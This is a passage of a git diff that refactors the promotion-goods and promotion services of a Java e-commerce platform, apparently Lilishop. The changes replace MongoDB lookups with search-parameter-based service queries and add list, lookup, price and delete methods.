searchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); //单独检查,添加适用于全品类的满优惠活动 - Query query = new Query(); - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.START.name())); - query.addCriteria(Criteria.where("startTime").lte(System.currentTimeMillis())); - List fullDiscountVOS = mongoTemplate.find(query, FullDiscountVO.class); - for (FullDiscountVO fullDiscountVO : fullDiscountVOS) { - if (fullDiscountVO.getPromotionGoodsList() == null && - sku.getStoreId().equals(fullDiscountVO.getStoreId())) { - PromotionGoods p = new PromotionGoods(sku); - p.setPromotionId(fullDiscountVO.getId()); - p.setPromotionStatus(fullDiscountVO.getPromotionStatus()); - p.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name()); - p.setStartTime(fullDiscountVO.getStartTime()); - p.setEndTime(fullDiscountVO.getEndTime()); - promotionGoods.add(p); - } + List fullDiscountVOS = this.fullDiscountService.listFindAll(searchParams); + for (FullDiscount fullDiscountVO : fullDiscountVOS) { + PromotionGoods p = new PromotionGoods(sku); + p.setPromotionId(fullDiscountVO.getId()); + p.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name()); + p.setStartTime(fullDiscountVO.getStartTime()); + p.setEndTime(fullDiscountVO.getEndTime()); + promotionGoods.add(p); } //单独检查,添加适用于全品类的全平台或属于当前店铺的优惠券活动 - List couponVOS = mongoTemplate.find(query, CouponVO.class); - for (CouponVO couponVO : couponVOS) { - boolean aLLScopeType = (couponVO.getPromotionGoodsList() == null - && couponVO.getScopeType().equals(CouponScopeTypeEnum.ALL.name()) - && (("0").equals(couponVO.getStoreId()) || sku.getStoreId().equals(couponVO.getStoreId()))); - if (aLLScopeType) { - PromotionGoods p = new PromotionGoods(sku); - p.setPromotionId(couponVO.getId()); - p.setPromotionStatus(couponVO.getPromotionStatus()); - p.setPromotionType(PromotionTypeEnum.COUPON.name()); - p.setStartTime(couponVO.getStartTime()); - p.setEndTime(couponVO.getEndTime()); - promotionGoods.add(p); - } + List couponVOS = this.couponService.listFindAll(searchParams); + for (Coupon couponVO : couponVOS) { + PromotionGoods p = new PromotionGoods(sku); + p.setPromotionId(couponVO.getId()); + p.setPromotionType(PromotionTypeEnum.COUPON.name()); + p.setStartTime(couponVO.getStartTime()); + p.setEndTime(couponVO.getEndTime()); + promotionGoods.add(p); } return promotionGoods; } @@ -149,76 +125,63 @@ public class PromotionGoodsServiceImpl extends ServiceImpl getPromotionGoods(String skuId) { - long currTime = DateUtil.getDateline(); - String currDate = DateUtil.toString(currTime, DateUtil.STANDARD_DATE_NO_UNDERLINE_FORMAT); - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper() - .eq(PromotionGoods::getSkuId, skuId) - .le(PromotionGoods::getStartTime, currTime) - .ge(PromotionGoods::getEndTime, currDate) - .ne(PromotionGoods::getPromotionType, PromotionTypeEnum.PINTUAN.name()) - .ne(PromotionGoods::getPromotionType, PromotionTypeEnum.SECKILL.name()); - return this.baseMapper.selectList(queryWrapper); + public IPage pageFindAll(PromotionGoodsSearchParams searchParams, PageVO pageVo) { + return this.page(PageUtil.initPage(pageVo), searchParams.queryWrapper()); } + /** + * 获取促销商品信息 + * + * @param searchParams 查询参数 + * @return 促销商品列表 + */ @Override - public IPage getPromotionGoods(PromotionGoodsSearchParams searchParams, PageVO pageVo) { - IPage promotionGoodsPage = new Page<>(); - LambdaQueryWrapper queryChainWrapper = searchParams.queryWrapper(); - List promotionGoodsList = new ArrayList<>(); - Page page = this.page(PageUtil.initPage(pageVo), queryChainWrapper); - promotionGoodsPage.setSize(page.getSize()); - promotionGoodsPage.setTotal(page.getTotal()); - promotionGoodsPage.setPages(page.getPages()); - for (PromotionGoods promotionGoods : page.getRecords()) { - PromotionGoodsDTO promotionGoodsDTO = this.wrapperPromotionGoodsDTO(promotionGoods); - promotionGoodsList.add(promotionGoodsDTO); - } - promotionGoodsPage.setRecords(promotionGoodsList); - return promotionGoodsPage; + public List listFindAll(PromotionGoodsSearchParams searchParams) { + return this.list(searchParams.queryWrapper()); } + /** + * 获取促销商品信息 + * + * @param searchParams 查询参数 + * @return 促销商品信息 + */ @Override - public IPage getCurrentPromotionGoods(String promotionType, PageVO pageVo) { - IPage promotionGoodsPage = new Page<>(); - promotionGoodsPage.setSize(pageVo.getPageSize()); - promotionGoodsPage.setCurrent(pageVo.getPageNumber()); - Date now = new Date(); - Query query = new Query(); - query.addCriteria(Criteria.where("startTime").lte(now)); - query.addCriteria(Criteria.where("endTime").gte(now)); - List promotionGoodsDTOList = new ArrayList<>(); - int total = 0; - //根据促销活动类型的不同,将满足当前促销活动类型且正在进行的促销商品返回出去 - switch (PromotionTypeEnum.valueOf(promotionType)) { - case FULL_DISCOUNT: - List fullDiscountVOS = this.mongoTemplate.find(query, FullDiscountVO.class); - this.setFullDiscountPromotionGoods(promotionGoodsPage, fullDiscountVOS, pageVo); - break; - case COUPON: - List couponVOS = this.mongoTemplate.find(query, CouponVO.class); - for (CouponVO couponVO : couponVOS) { - if (couponVO != null && couponVO.getPromotionGoodsList() == null) { - IPage page = this.getAllGoodsSkuToPromotionGoodsByPage(couponVO.getStoreId(), couponVO, pageVo); - promotionGoodsDTOList.addAll(page.getRecords()); - total += page.getTotal(); - } - } - promotionGoodsPage.setRecords(promotionGoodsDTOList.subList(0, pageVo.getPageSize())); - promotionGoodsPage.setTotal(total); - break; - case SECKILL: - case POINTS_GOODS: - return promotionGoodsPage; - default: - break; - } - if (promotionGoodsPage.getRecords() == null || promotionGoodsPage.getRecords().isEmpty()) { - promotionGoodsPage = this.getGoodsSkuToPromotionGoodsByPage(promotionType, pageVo); - } - return promotionGoodsPage; + public PromotionGoods getPromotionsGoods(PromotionGoodsSearchParams searchParams) { + return this.getOne(searchParams.queryWrapper(), false); } + /** + * 获取当前有效时间特定促销类型的促销商品信息 + * + * @param skuId 查询参数 + * @param promotionTypes 特定促销类型 + * @return 促销商品信息 + */ + @Override + public PromotionGoods getValidPromotionsGoods(String skuId, List promotionTypes) { + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.eq("sku_id", skuId); + queryWrapper.in("promotion_type", promotionTypes); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + return this.getOne(queryWrapper, false); + } + + /** + * 获取当前有效时间特定促销类型的促销商品价格 + * + * @param skuId skuId + * @param promotionTypes 特定促销类型 + * @return 促销商品价格 + */ + @Override + public Double getValidPromotionsGoodsPrice(String skuId, List promotionTypes) { + QueryWrapper queryWrapper = new QueryWrapper<>(); + queryWrapper.eq("sku_id", skuId); + queryWrapper.in("promotion_type", promotionTypes); + queryWrapper.and(PromotionTools.queryPromotionStatus(PromotionsStatusEnum.START)); + return this.baseMapper.selectPromotionsGoodsPrice(queryWrapper); + } @Override public Integer findInnerOverlapPromotionGoods(String promotionType, String skuId, Date startTime, Date endTime, String promotionId) { @@ -249,7 +212,11 @@ public class PromotionGoodsServiceImpl extends ServiceImpl getPromotionGoodsStock(PromotionTypeEnum typeEnum, String promotionId, List skuId) { + PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); + searchParams.setPromotionType(typeEnum.name()); + searchParams.setPromotionId(promotionId); + searchParams.setSkuIds(skuId); //获取促销商品,如果不存在促销商品,则返回0 - List promotionGoods = this.getPromotionGoods(typeEnum, promotionId, skuId); + List promotionGoods = this.listFindAll(searchParams); //接收数据 List result = new ArrayList<>(skuId.size()); for (String sid : skuId) { @@ -281,37 +252,6 @@ public class PromotionGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(PromotionGoods::getPromotionType, typeEnum.name()).eq(PromotionGoods::getPromotionId, promotionId).eq(PromotionGoods::getSkuId, skuId); - return this.getOne(queryWrapper); - } - - /** - * 根据条件获取促销活动商品详情 - * - * @param typeEnum 促销类型 - * @param promotionId 促销活动id - * @param skuId 商品skuId - * @return 促销活动商品详情 - */ - @Override - public List getPromotionGoods(PromotionTypeEnum typeEnum, String promotionId, List skuId) { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(PromotionGoods::getPromotionType, typeEnum.name()).eq(PromotionGoods::getPromotionId, promotionId) - .in(PromotionGoods::getSkuId, skuId); - return this.list(queryWrapper); - } - /** * 更新促销活动商品库存 * @@ -326,7 +266,7 @@ public class PromotionGoodsServiceImpl extends ServiceImpl queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(SeckillApply::getSeckillId, promotionId).eq(SeckillApply::getSkuId, skuId); - SeckillApply seckillApply = seckillApplyService.getOne(queryWrapper); + SeckillApply seckillApply = this.seckillApplyService.getOne(queryWrapper, false); if (seckillApply == null) { throw new ServiceException(ResultCode.SECKILL_NOT_EXIST_ERROR); } @@ -334,15 +274,6 @@ public class PromotionGoodsServiceImpl extends ServiceImpl updateWrapper = new LambdaUpdateWrapper<>(); updateWrapper.eq(PromotionGoods::getPromotionType, typeEnum.name()).eq(PromotionGoods::getPromotionId, promotionId).eq(PromotionGoods::getSkuId, skuId); @@ -353,80 +284,52 @@ public class PromotionGoodsServiceImpl extends ServiceImpl promotionGoodsPage, List fullDiscountVOS, PageVO pageVo) { - List promotionGoodsDTOList = new ArrayList<>(); - int total = 0; - for (FullDiscountVO fullDiscountVO : fullDiscountVOS) { - if (fullDiscountVO != null && fullDiscountVO.getPromotionGoodsList() == null) { - IPage page = this.getAllGoodsSkuToPromotionGoodsByPage(fullDiscountVO.getStoreId(), fullDiscountVO, pageVo); - promotionGoodsDTOList.addAll(page.getRecords()); - total += page.getTotal(); - } - } - if (!fullDiscountVOS.isEmpty() && !promotionGoodsDTOList.isEmpty()) { - promotionGoodsPage.setRecords(promotionGoodsDTOList.subList(0, pageVo.getPageSize())); - promotionGoodsPage.setTotal(total); - } + /** + * 更新促销活动商品库存 + * + * @param promotionGoods 促销信息 + */ + @Override + public void updatePromotionGoodsByPromotions(PromotionGoods promotionGoods) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(PromotionGoods::getPromotionId, promotionGoods.getPromotionId()); + this.remove(queryWrapper); + this.save(promotionGoods); } - private IPage getGoodsSkuToPromotionGoodsByPage(String promotionType, PageVO pageVo) { - Date date = new Date(); - IPage promotionGoodsPage = new Page<>(); - LambdaQueryWrapper queryChainWrapper = new LambdaQueryWrapper() - .eq(PromotionGoods::getPromotionType, PromotionTypeEnum.valueOf(promotionType).name()) - .le(PromotionGoods::getStartTime, date).ge(PromotionGoods::getEndTime, date); - List promotionGoodsList = new ArrayList<>(); - Page page = this.page(PageUtil.initPage(pageVo), queryChainWrapper); - promotionGoodsPage.setTotal(page.getTotal()); - promotionGoodsPage.setPages(page.getPages()); - List records = page.getRecords(); - for (PromotionGoods promotionGoods : records) { - PromotionGoodsDTO promotionGoodsDTO = this.wrapperPromotionGoodsDTO(promotionGoods); - promotionGoodsList.add(promotionGoodsDTO); - } - promotionGoodsPage.setRecords(promotionGoodsList); - return promotionGoodsPage; + /** + * 删除促销商品 + * + * @param promotionId 促销活动id + * @param skuIds skuId + */ + @Override + public void deletePromotionGoods(String promotionId, List skuIds) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper() + .eq(PromotionGoods::getPromotionId, promotionId).in(PromotionGoods::getSkuId, skuIds); + this.remove(queryWrapper); } - private PromotionGoodsDTO wrapperPromotionGoodsDTO(PromotionGoods promotionGoods) { - PromotionGoodsDTO promotionGoodsDTO = new PromotionGoodsDTO(); - GoodsSku goodsSku = goodsSkuService.getById(promotionGoods.getSkuId()); - BeanUtil.copyProperties(promotionGoods, promotionGoodsDTO); - if (goodsSku != null) { - promotionGoodsDTO.setGoodsId(goodsSku.getGoodsId()); - promotionGoodsDTO.setGoodsImage(goodsSku.getThumbnail()); - promotionGoodsDTO.setGoodsName(goodsSku.getGoodsName()); - promotionGoodsDTO.setOriginPrice(goodsSku.getPrice()); - } - return promotionGoodsDTO; + /** + * 删除促销促销商品 + * + * @param promotionIds 促销活动id + */ + @Override + public void deletePromotionGoods(List promotionIds) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper() + .in(PromotionGoods::getPromotionId, promotionIds); + this.remove(queryWrapper); } - private IPage getAllGoodsSkuToPromotionGoodsByPage(String storeId, BasePromotion promotion, PageVO pageVo) { - IPage promotionGoodsPage = new Page<>(); - List promotionGoodsList = new ArrayList<>(); - GoodsSearchParams searchParams = new GoodsSearchParams(); - searchParams.setStoreId(storeId); - searchParams.setMarketEnable(GoodsStatusEnum.UPPER.name()); - searchParams.setIsAuth(GoodsAuthEnum.PASS.name()); - searchParams.setPageNumber(pageVo.getPageNumber()); - searchParams.setPageSize(pageVo.getPageSize()); - searchParams.setSort(pageVo.getSort()); - searchParams.setOrder(pageVo.getOrder()); - IPage goodsSkuByPage = goodsSkuService.getGoodsSkuByPage(searchParams); - //将查询到的商品sku转换为促销商品 - for (GoodsSku goodsSku : goodsSkuByPage.getRecords()) { - PromotionGoodsDTO promotionGoods = new PromotionGoodsDTO(goodsSku); - promotionGoods.setGoodsImage(goodsSku.getThumbnail()); - promotionGoods.setStartTime(promotion.getStartTime()); - promotionGoods.setEndTime(promotion.getEndTime()); - promotionGoods.setTitle(promotion.getPromotionName()); - promotionGoodsList.add(promotionGoods); - } - promotionGoodsPage.setSize(goodsSkuByPage.getSize()); - promotionGoodsPage.setTotal(goodsSkuByPage.getTotal()); - promotionGoodsPage.setPages(goodsSkuByPage.getPages()); - promotionGoodsPage.setRecords(promotionGoodsList); - return promotionGoodsPage; + /** + * 根据参数删除促销商品 + * + * @param searchParams 查询参数 + */ + @Override + public void deletePromotionGoods(PromotionGoodsSearchParams searchParams) { + this.remove(searchParams.queryWrapper()); } } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java index 46ce984e..45b8a105 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PromotionServiceImpl.java @@ -1,37 +1,22 @@ package cn.lili.modules.promotion.serviceimpl; -import cn.hutool.core.date.DateTime; -import cn.hutool.core.date.DateUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.json.JSONUtil; import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.common.enums.ResultCode; -import cn.lili.common.exception.ServiceException; -import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; +import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.promotion.entity.dos.*; -import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; -import cn.lili.modules.promotion.entity.enums.*; -import cn.lili.modules.promotion.entity.vos.CouponVO; -import cn.lili.modules.promotion.entity.vos.PintuanVO; -import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.entity.vos.SeckillVO; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; +import cn.lili.modules.promotion.entity.vos.*; import cn.lili.modules.promotion.service.*; import cn.lili.modules.search.entity.dos.EsGoodsIndex; -import cn.lili.modules.search.service.EsGoodsIndexService; -import cn.lili.trigger.message.PromotionMessage; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; -import com.baomidou.mybatisplus.core.conditions.update.UpdateWrapper; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.data.mongodb.core.MongoTemplate; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import org.springframework.stereotype.Service; import org.springframework.transaction.annotation.Transactional; -import java.util.*; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; /** * 促销业务层实现 @@ -43,11 +28,6 @@ import java.util.*; @Service @Transactional(rollbackFor = Exception.class) public class PromotionServiceImpl implements PromotionService { - /** - * 会员优惠券 - */ - @Autowired - private MemberCouponService memberCouponService; /** * 秒杀 */ @@ -83,66 +63,10 @@ public class PromotionServiceImpl implements PromotionService { */ @Autowired private PointsGoodsService pointsGoodsService; - /** - * 优惠券活动 - */ - @Autowired - private CouponActivityService couponActivityService; - /** - * ES商品 - */ - @Autowired - private EsGoodsIndexService goodsIndexService; - /** - * Mongo - */ - @Autowired - private MongoTemplate mongoTemplate; - @Autowired - private KanjiaActivityGoodsService kanJiaActivityGoodsService; + @Autowired + private GoodsSkuService goodsSkuService; - @Override - public boolean updatePromotionStatus(PromotionMessage promotionMessage) { - PromotionTypeEnum promotionTypeEnum = PromotionTypeEnum.valueOf(promotionMessage.getPromotionType()); - String esPromotionKey = promotionTypeEnum + "-" + promotionMessage.getPromotionId(); - log.info("更新促销活动状态:{}", promotionMessage); - boolean result = false; - switch (promotionTypeEnum) { - //满减 - case FULL_DISCOUNT: - result = this.updateFullDiscount(promotionMessage, esPromotionKey, promotionTypeEnum); - break; - //秒杀 - case SECKILL: - result = this.updateSeckill(promotionMessage, promotionTypeEnum); - break; - //拼团 - case PINTUAN: - result = this.updatePintuan(promotionMessage, esPromotionKey, promotionTypeEnum); - break; - //优惠券 - case COUPON: - result = this.updateCoupon(promotionMessage, esPromotionKey, promotionTypeEnum); - break; - //积分商品 - case POINTS_GOODS: - result = this.updatePointsGoods(promotionMessage, promotionTypeEnum); - break; - //砍价商品商品 - case KANJIA: - result = this.updateKanjiaGoods(promotionMessage, promotionTypeEnum); - break; - //优惠券活动 - case COUPON_ACTIVITY: - result = this.updateCouponActivity(promotionMessage, promotionTypeEnum); - break; - default: - break; - } - this.updatePromotionGoods(promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return result; - } /** * 获取当前进行的所有促销活动信息 @@ -152,26 +76,29 @@ public class PromotionServiceImpl implements PromotionService { @Override public Map getCurrentPromotion() { Map resultMap = new HashMap<>(16); - QueryWrapper queryWrapper = new QueryWrapper(); - queryWrapper.eq("promotion_status", PromotionStatusEnum.START.name()); - queryWrapper.ge("start_time", new Date()); - queryWrapper.le("end_time", new Date()); + + SeckillSearchParams seckillSearchParams = new SeckillSearchParams(); + seckillSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); //获取当前进行的秒杀活动活动 - List seckillList = seckillService.list(queryWrapper); + List seckillList = seckillService.listFindAll(seckillSearchParams); if (seckillList != null && !seckillList.isEmpty()) { for (Seckill seckill : seckillList) { resultMap.put(PromotionTypeEnum.SECKILL.name(), seckill); } } + FullDiscountSearchParams fullDiscountSearchParams = new FullDiscountSearchParams(); + fullDiscountSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); //获取当前进行的满优惠活动 - List fullDiscountList = fullDiscountService.list(queryWrapper); + List fullDiscountList = fullDiscountService.listFindAll(fullDiscountSearchParams); if (fullDiscountList != null && !fullDiscountList.isEmpty()) { for (FullDiscount fullDiscount : fullDiscountList) { resultMap.put(PromotionTypeEnum.FULL_DISCOUNT.name(), fullDiscount); } } + PintuanSearchParams pintuanSearchParams = new PintuanSearchParams(); + pintuanSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); //获取当前进行的拼团活动 - List pintuanList = pintuanService.list(queryWrapper); + List pintuanList = pintuanService.listFindAll(pintuanSearchParams); if (pintuanList != null && !pintuanList.isEmpty()) { for (Pintuan pintuan : pintuanList) { resultMap.put(PromotionTypeEnum.PINTUAN.name(), pintuan); @@ -188,35 +115,31 @@ public class PromotionServiceImpl implements PromotionService { */ @Override public Map getGoodsCurrentPromotionMap(EsGoodsIndex index) { - Map promotionMap = new HashMap<>(16); - Query query = new Query(); - query.addCriteria(Criteria.where("deleteFlag").is(false)); - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.START.name())); - query.addCriteria(Criteria.where("endTime").gte(new Date())); - List fullDiscountVOS = mongoTemplate.find(query, FullDiscountVO.class); - for (FullDiscountVO fullDiscountVO : fullDiscountVOS) { - if (fullDiscountVO.getPromotionGoodsList() == null) { - if (index.getStoreId().equals(fullDiscountVO.getStoreId())) { - String fullDiscountKey = PromotionTypeEnum.FULL_DISCOUNT.name() + "-" + fullDiscountVO.getId(); - promotionMap.put(fullDiscountKey, fullDiscountVO); - } + Map promotionMap = new HashMap<>(); + FullDiscountSearchParams fullDiscountSearchParams = new FullDiscountSearchParams(); + fullDiscountSearchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); + fullDiscountSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + List fullDiscountVOS = this.fullDiscountService.listFindAll(fullDiscountSearchParams); + for (FullDiscount fullDiscount : fullDiscountVOS) { + if (index.getStoreId().equals(fullDiscount.getStoreId())) { + String fullDiscountKey = PromotionTypeEnum.FULL_DISCOUNT.name() + "-" + fullDiscount.getId(); + promotionMap.put(fullDiscountKey, fullDiscount); } } - List couponVOS = mongoTemplate.find(query, CouponVO.class); - for (CouponVO couponVO : couponVOS) { - if (couponVO.getPromotionGoodsList() == null && couponVO.getScopeType().equals(CouponScopeTypeEnum.ALL.name())) { - if (("platform").equals(couponVO.getStoreId()) || index.getStoreId().equals(couponVO.getStoreId())) { - String couponKey = PromotionTypeEnum.COUPON.name() + "-" + couponVO.getId(); - promotionMap.put(couponKey, couponVO); - } + CouponSearchParams couponSearchParams = new CouponSearchParams(); + couponSearchParams.setScopeType(PromotionsScopeTypeEnum.ALL.name()); + couponSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + List couponVOS = this.couponService.listFindAll(couponSearchParams); + for (Coupon coupon : couponVOS) { + if (("platform").equals(coupon.getStoreId()) || index.getStoreId().equals(coupon.getStoreId())) { + String couponKey = PromotionTypeEnum.COUPON.name() + "-" + coupon.getId(); + promotionMap.put(couponKey, coupon); } } - LambdaQueryWrapper promotionGoodsQuery = new LambdaQueryWrapper<>(); - promotionGoodsQuery.eq(PromotionGoods::getDeleteFlag, false); - promotionGoodsQuery.eq(PromotionGoods::getPromotionStatus, PromotionStatusEnum.START.name()); - promotionGoodsQuery.ge(PromotionGoods::getEndTime, new Date()); - promotionGoodsQuery.eq(PromotionGoods::getSkuId, index.getId()); - List promotionGoodsList = promotionGoodsService.list(promotionGoodsQuery); + PromotionGoodsSearchParams promotionGoodsSearchParams = new PromotionGoodsSearchParams(); + promotionGoodsSearchParams.setSkuId(index.getId()); + promotionGoodsSearchParams.setPromotionStatus(PromotionsStatusEnum.START.name()); + List promotionGoodsList = promotionGoodsService.listFindAll(promotionGoodsSearchParams); for (PromotionGoods promotionGoods : promotionGoodsList) { String esPromotionKey = promotionGoods.getPromotionType() + "-" + promotionGoods.getPromotionId(); switch (PromotionTypeEnum.valueOf(promotionGoods.getPromotionType())) { @@ -234,25 +157,7 @@ public class PromotionServiceImpl implements PromotionService { promotionMap.put(esPromotionKey, fullDiscount); break; case SECKILL: - Seckill seckill = seckillService.getById(promotionGoods.getPromotionId()); - LambdaQueryWrapper seckillApplyLambdaQueryWrapper = new LambdaQueryWrapper<>(); - seckillApplyLambdaQueryWrapper.eq(SeckillApply::getSeckillId, promotionGoods.getPromotionId()); - seckillApplyLambdaQueryWrapper.eq(SeckillApply::getSkuId, promotionGoods.getSkuId()); - SeckillApply seckillApply = seckillApplyService.getOne(seckillApplyLambdaQueryWrapper); - int nextHour = 23; - String[] split = seckill.getHours().split(","); - int[] hoursSored = Arrays.stream(split).mapToInt(Integer::parseInt).toArray(); - Arrays.sort(hoursSored); - for (int i : hoursSored) { - if (seckillApply.getTimeLine() < i) { - nextHour = i; - } - } - String seckillKey = promotionGoods.getPromotionType() + "-" + nextHour; - seckill.setStartTime(promotionGoods.getStartTime()); - seckill.setEndTime(promotionGoods.getEndTime()); - promotionMap.put(seckillKey, seckill); - index.setPromotionPrice(promotionGoods.getPrice()); + this.getGoodsCurrentSeckill(promotionGoods, promotionMap, index); break; case POINTS_GOODS: PointsGoods pointsGoods = pointsGoodsService.getById(promotionGoods.getPromotionId()); @@ -265,277 +170,31 @@ public class PromotionServiceImpl implements PromotionService { return promotionMap; } - /** - * 修改满额活动状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param esPromotionKey es Key - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateFullDiscount(PromotionMessage promotionMessage, String esPromotionKey, PromotionTypeEnum promotionTypeEnum) { - boolean result; - //从mongo中获取促销备份 - FullDiscountVO fullDiscountVO = mongoTemplate.findById(promotionMessage.getPromotionId(), FullDiscountVO.class); - if (fullDiscountVO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - //写入促销状态 - fullDiscountVO.setPromotionStatus(promotionMessage.getPromotionStatus()); - //修改促销数据 - result = this.fullDiscountService.update(updateWrapper(promotionMessage)); - //clone一个活动信息,用于存放与索引中 - FullDiscountVO clone = ObjectUtil.clone(fullDiscountVO); - clone.setPromotionGoodsList(null); - if (fullDiscountVO.getPromotionGoodsList() == null) { - //如果为全品类则更新全部索引 - this.goodsIndexService.updateEsGoodsIndexAllByList(clone, esPromotionKey); - } else { - //如不为全品类,更新指定索引 - for (PromotionGoods promotionGoods : fullDiscountVO.getPromotionGoodsList()) { - promotionGoods.setPromotionStatus(promotionMessage.getPromotionStatus()); - } - this.promotionGoodsService.updateBatchById(fullDiscountVO.getPromotionGoodsList()); - this.goodsIndexService.updateEsGoodsIndexByList(fullDiscountVO.getPromotionGoodsList(), clone, esPromotionKey); - } - this.mongoTemplate.save(fullDiscountVO); - return result; - } - /** - * 修改优惠券状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param esPromotionKey es Key - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateCoupon(PromotionMessage promotionMessage, String esPromotionKey, PromotionTypeEnum promotionTypeEnum) { - boolean result; - //从mongo中获取优惠券信息 - CouponVO couponVO = this.mongoTemplate.findById(promotionMessage.getPromotionId(), CouponVO.class); - if (couponVO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - //修改优惠券 - couponVO.setPromotionStatus(promotionMessage.getPromotionStatus()); - result = this.couponService.update(updateWrapper(promotionMessage)); - //优惠券活动结束,会员已领取未使用的优惠券状态修改为:已过期 - if (couponVO.getPromotionStatus().equals(PromotionStatusEnum.END)) { - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper() - .eq(MemberCoupon::getCouponId, couponVO.getId()) - .eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()) - .set(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.EXPIRE.name()); - this.memberCouponService.update(updateWrapper); - } - //clone一个活动信息,用于存放与索引中 - CouponVO clone = ObjectUtil.clone(couponVO); - clone.setPromotionGoodsList(null); - if (CouponScopeTypeEnum.PORTION_GOODS.name().equals(couponVO.getScopeType())) { - //如为部分商品,则更新部分商品索引 - this.promotionGoodsService.updateBatchById(couponVO.getPromotionGoodsList()); - this.goodsIndexService.updateEsGoodsIndexByList(couponVO.getPromotionGoodsList(), clone, esPromotionKey); - } else if (CouponScopeTypeEnum.ALL.name().equals(couponVO.getScopeType())) { - //如为全部,则更新全部商品索引 - this.goodsIndexService.updateEsGoodsIndexAllByList(clone, esPromotionKey); - } - this.mongoTemplate.save(couponVO); - return result; - } - - /** - * 修改拼团状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param esPromotionKey es Key - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updatePintuan(PromotionMessage promotionMessage, String esPromotionKey, PromotionTypeEnum promotionTypeEnum) { - boolean result; - PintuanVO pintuanVO = this.mongoTemplate.findById(promotionMessage.getPromotionId(), PintuanVO.class); - if (pintuanVO == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - pintuanVO.setPromotionStatus(promotionMessage.getPromotionStatus()); - result = this.pintuanService.update(updateWrapper(promotionMessage)); - this.promotionGoodsService.updateBatchById(pintuanVO.getPromotionGoodsList()); - if (pintuanVO.getPromotionGoodsList() != null) { - List promotionGoodsList = pintuanVO.getPromotionGoodsList(); - //更新促销商品索引 - for (PromotionGoods promotionGoods : promotionGoodsList) { - Pintuan pintuan1 = JSONUtil.toBean(JSONUtil.toJsonStr(pintuanVO), Pintuan.class); - this.goodsIndexService.updateEsGoodsIndex(promotionGoods.getSkuId(), pintuan1, esPromotionKey, promotionGoods.getPrice()); - } - } - this.mongoTemplate.save(pintuanVO); - return result; - - - } - - /** - * 修改秒杀状态 - * - * @param promotionMessage 信息队列传输促销信息实体 - * @param promotionTypeEnum 促销分类枚举 - * @return 修改结果 - */ - private boolean updateSeckill(PromotionMessage promotionMessage, PromotionTypeEnum promotionTypeEnum) { - boolean result; - SeckillVO seckill = this.mongoTemplate.findById(promotionMessage.getPromotionId(), SeckillVO.class); - if (seckill == null) { - this.throwPromotionException(promotionTypeEnum, promotionMessage.getPromotionId(), promotionMessage.getPromotionStatus()); - return false; - } - if (seckill.getEndTime() == null) { - seckill.setEndTime(DateUtil.endOfDay(seckill.getStartTime())); - } - //修改活动状态 - seckill.setPromotionStatus(promotionMessage.getPromotionStatus()); - result = this.seckillService.update(updateWrapper(promotionMessage)); - log.info("更新限时抢购活动状态:{}", seckill); - - //判断参与活动的商品是否为空 - if (seckill.getSeckillApplyList() != null && !seckill.getSeckillApplyList().isEmpty()) { - 